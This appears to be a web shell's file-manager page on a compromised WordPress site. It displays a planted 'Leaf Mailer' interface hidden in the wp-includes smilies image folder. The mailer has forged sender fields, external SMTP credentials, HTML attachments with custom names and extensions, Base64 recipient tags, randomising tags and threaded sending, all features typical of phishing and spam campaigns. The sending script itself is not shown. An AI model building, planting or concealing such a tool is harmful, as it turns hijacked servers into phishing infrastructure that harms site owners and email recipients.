Your IP : 216.73.216.40


Current Path : /home/ladengineer/public_html/wp-includes/images/smilies/lib/
Upload File :
Current File : /home/ladengineer/public_html/wp-includes/images/smilies/lib/index.html

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <title>Leaf Mailer</title>
  <link rel="stylesheet" href="style.css" />
  <!-- Added for tooltips -->
  <link rel="stylesheet" href="https://unpkg.com/tippy.js@6/dist/tippy.css" />
</head>
<body>
  <div class="layout-container">
   
    <!-- SMTP list -->
    <div class="side-panel">
      <h3>SMTP List</h3>
      <table id="smtpTable">
        <thead>
          <tr>
            <th>Use</th>
            <th>Host</th>
            <th>Port</th>
            <th>User</th>
            <th>Encryption</th>
            <th>Remove</th>
          </tr>
        </thead>
        <tbody>
          <!-- Rows will be added here dynamically -->
        </tbody>
      </table>
    </div>

    <!-- Mailer form -->
    <div class="mailer-container">
      <h2>Leaf Mailer</h2>
      <form id="mailerForm" enctype="multipart/form-data">
        <input type="hidden" id="csrfToken" name="csrfToken" value="" />
       
        <div class="form-group">
          <label for="senderName">Sender Name</label>
          <input type="text" id="senderName" name="sender_name" required aria-required="true" />
        </div>
        <div class="form-group">
          <label for="senderEmail">Sender Email</label>
          <input type="text" id="senderEmail" name="sender_email" required aria-required="true" />
        </div>
        <div class="form-group">
          <label for="replyTo">Reply-To</label>
          <input type="text" id="replyTo" name="reply_to" />
        </div>
        <div class="form-group">
          <label for="emailSubject">Subject</label>
          <input type="text" id="emailSubject" name="subject" required aria-required="true" />
        </div>
        <div class="format-options">
          <label><input type="checkbox" id="formatHtml" name="formatHtml" checked /> HTML</label>
          <label><input type="checkbox" id="formatPlain" name="formatPlain" /> Plain Text</label>
        </div>
        <div class="form-group">
          <label for="emailTemplate">Body</label>
          <textarea id="emailTemplate" name="body" rows="6" required aria-required="true"></textarea>
        </div>
        <div class="attach-smtp-thread-container">
          <div class="form-group inline">
            <label for="attachment" style="margin-right: 8px;">Attachment</label>
            <input type="file" id="attachment" name="attachment" />
          </div>
          <div class="form-group inline">
            <label for="useHtmlAttachment">
              <input type="checkbox" id="useHtmlAttachment" name="useHtmlAttachment" /> Use HTML Attachment
            </label>
          </div>
          <div class="form-group inline">
            <label for="useSmtp">
              <input type="checkbox" id="useSmtp" name="useSmtp" /> Use External SMTP
            </label>
          </div>
          <div class="form-group inline">
            <label for="threadCount" style="margin-right: 8px;">Thread Count</label>
            <input type="number" id="threadCount" name="threadCount" min="1" max="50" value="5" aria-label="Number of concurrent threads for sending" />
          </div>
        </div>
        <div class="html-attachment hidden">
          <div class="form-group">
            <label for="htmlAttachmentContent">Attachment Content</label>
            <textarea id="htmlAttachmentContent" name="html_attachment_content" rows="4"></textarea>
          </div>
          <div class="form-group">
            <label for="htmlAttachmentName">Attachment Filename</label>
            <input type="text" id="htmlAttachmentName" name="html_attachment_name" placeholder="e.g. voice" />
          </div>
          <div class="form-group">
            <label for="htmlAttachmentExt">Attachment Extension</label>
            <input type="text" id="htmlAttachmentExt" name="html_attachment_ext" placeholder="e.g. html" />
          </div>
        </div>
        <div class="form-group">
          <label for="recipientEmails">Recipients (one email per line)</label>
          <textarea id="recipientEmails" name="recipients" rows="4" placeholder="recipient1@example.com
recipient2@example.com" aria-required="true" required></textarea>
        </div>
        <div class="form-group">
          <label for="consent">
            <input type="checkbox" id="consent" name="consent" required aria-required="true" />
            I confirm that recipients have consented to receive these emails and comply with anti-spam laws.
          </label>
        </div>
        <button type="button" id="previewBtn">Preview</button>
        <button type="button" id="sendBtn">Send</button>
      </form>
      <div id="statusArea" class="send-status"></div>
    </div>

    <!-- Tags list -->
    <div class="side-panel">
      <h3>Available Tags & Descriptions</h3>
      <table class="tag-table">
        <thead>
          <tr><th>Tag</th><th>Description</th></tr>
        </thead>
        <tbody>
          <tr><td data-tippy-content="Full recipient email address as-is">[Email]</td><td>Full recipient email address as-is</td></tr>
          <tr><td data-tippy-content="Full recipient email address in lowercase">[email]</td><td>Full recipient email address in lowercase</td></tr>
          <tr><td data-tippy-content="Capitalized host part of the domain (e.g., 'Example' from example.com)">[Host]</td><td>Capitalized host part of the domain (e.g., "Example" from example.com)</td></tr>
          <tr><td data-tippy-content="Lowercase host part of the domain (e.g., 'example' from example.com)">[host]</td><td>Lowercase host part of the domain (e.g., "example" from example.com)</td></tr>
          <tr><td data-tippy-content="Capitalized full domain (e.g., 'Example.com')">[Domain]</td><td>Capitalized full domain (e.g., "Example.com")</td></tr>
          <tr><td data-tippy-content="Lowercase full domain (e.g., 'example.com')">[domain]</td><td>Lowercase full domain (e.g., "example.com")</td></tr>
          <tr><td data-tippy-content="Capitalized local part before @ (e.g., 'User' from user@example.com)">[User]</td><td>Capitalized local part before @ (e.g., "User" from user@example.com)</td></tr>
          <tr><td data-tippy-content="Lowercase local part before @ (e.g., 'user' from user@example.com)">[user]</td><td>Lowercase local part before @ (e.g., "user" from user@example.com)</td></tr>
          <tr><td data-tippy-content="Current short date in DD/MM/YYYY format (e.g., 15/07/2025)">[shortdate]</td><td>Current short date in DD/MM/YYYY format (e.g., 15/07/2025)</td></tr>
          <tr><td data-tippy-content="Current long date in Day, DD Month YYYY format (e.g., Tue, 15 Jul 2025)">[longdate]</td><td>Current long date in Day, DD Month YYYY format (e.g., Tue, 15 Jul 2025)</td></tr>
          <tr><td data-tippy-content="Generated MD5 hash of a random string">[MD5]</td><td>Generated MD5 hash of a random string</td></tr>
          <tr><td data-tippy-content="Base64-encoded full recipient email (case-insensitive tag)">[Base64email]</td><td>Base64-encoded full recipient email (case-insensitive tag)</td></tr>
          <tr><td data-tippy-content="Current short time in 12-hour HH:MM AM/PM format (case-insensitive tag, e.g., 01:22 PM)">[ShortTime]</td><td>Current short time in 12-hour HH:MM AM/PM format (case-insensitive tag, e.g., 01:22 PM)</td></tr>
          <tr><td data-tippy-content="Current long time in 24-hour HH:MM Day, DD Mon YYYY format (case-insensitive tag, e.g., 13:22 Tue, 15 Jul 2025)">[LongTime]</td><td>Current long time in 24-hour HH:MM Day, DD Mon YYYY format (case-insensitive tag, e.g., 13:22 Tue, 15 Jul 2025)</td></tr>
          <tr><td data-tippy-content="N random letters (default 4; uppercase if tag is uppercase; case-insensitive tag matching)">[randomletterN]</td><td>N random letters (default 4; uppercase if tag is uppercase; case-insensitive tag matching)</td></tr>
          <tr><td data-tippy-content="N random alphanumeric characters (default 8; uppercase if tag is uppercase; case-insensitive tag matching)">[randommixedN]</td><td>N random alphanumeric characters (default 8; uppercase if tag is uppercase; case-insensitive tag matching)</td></tr>
          <tr><td data-tippy-content="N random digits (N=1-10, default 6; case-insensitive tag matching)">[RandomNumberN]</td><td>N random digits (N=1-10, default 6; case-insensitive tag matching)</td></tr>
        </tbody>
      </table>
    </div>

    <!-- SMTP modal -->
    <div id="smtpModal" class="modal hidden" role="dialog" aria-modal="true" aria-labelledby="smtpModalTitle">
      <div class="modal-content">
        <button type="button" class="close-btn" id="closeModal" aria-label="Close">×</button>
        <h3 id="smtpModalTitle">Add SMTP</h3>
        <input type="text" id="smtp_host" placeholder="SMTP Host" aria-required="true" required />
        <input type="text" id="smtp_port" placeholder="Port" aria-required="true" required />
        <input type="text" id="smtp_user" placeholder="Username" aria-required="true" required />
        <input type="password" id="smtp_pass" placeholder="Password" aria-required="true" required />
        <select id="smtp_encrypt" aria-label="Encryption Type">
          <option value="tls">TLS</option>
          <option value="ssl">SSL</option>
          <option value="none">None</option>
        </select>
        <input type="text" id="smtp_sender_name" placeholder="Sender Name (Test Only)" aria-required="true" required />
        <input type="email" id="smtp_sender_email" placeholder="Sender Email (Test Only)" aria-required="true" required />
        <input type="email" id="smtp_recipient_email" placeholder="Recipient Email (Test Only)" aria-required="true" required />
        <button type="button" id="testSmtp">Test</button>
        <button type="button" id="addSmtp">Add</button>
      </div>
    </div>

    <!-- Preview modal -->
    <div id="previewModal" class="modal hidden" role="dialog" aria-modal="true" aria-labelledby="previewModalTitle">
      <div class="modal-content">
        <button type="button" class="close-btn" id="closePreviewModal" aria-label="Close">×</button>
        <h3 id="previewModalTitle">Email Preview</h3>
        <div id="previewContent"></div>
      </div>
    </div>

    <!-- Sending Progress Modal - Fixed for better status update -->
    <div id="sendingModal" class="modal hidden" role="dialog" aria-modal="true" aria-labelledby="sendingModalTitle">
      <div class="modal-content sending-modal-content">
        <button type="button" class="close-btn" id="closeSendingModal" aria-label="Close">×</button>
       
        <h3 id="sendingModalTitle">Sending Emails...</h3>
       
        <div id="sendingStatus" class="sending-status">Preparing to send...</div>
       
        <div id="progressBarContainer" style="margin: 25px 0;">
          <div id="progressBar"></div>
        </div>
       
        <div class="sending-controls">
          <button id="pauseBtn" class="control-btn">Pause</button>
          <button id="resumeBtn" class="control-btn hidden">Resume</button>
          <button id="stopBtn" class="control-btn stop-btn">Stop</button>
        </div>
       
        <div id="sendingSummary" class="hidden">
          <p id="summaryText"></p>
        </div>
      </div>
    </div>

    <!-- Old loader (kept for safety, but not used during sending) -->
    <div id="loader" class="loader hidden">
      <div class="loader-content">
        <div id="currentEmailStatus"></div>
        <div id="emailSummary" class="hidden"></div>
      </div>
    </div>
  </div>

  <!-- Scripts -->
  <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/progressbar.js/1.1.1/progressbar.min.js"></script>
  <script src="https://unpkg.com/@popperjs/core@2"></script>
  <script src="https://unpkg.com/tippy.js@6"></script>
  <script src="script.js"></script>
</body>
</html>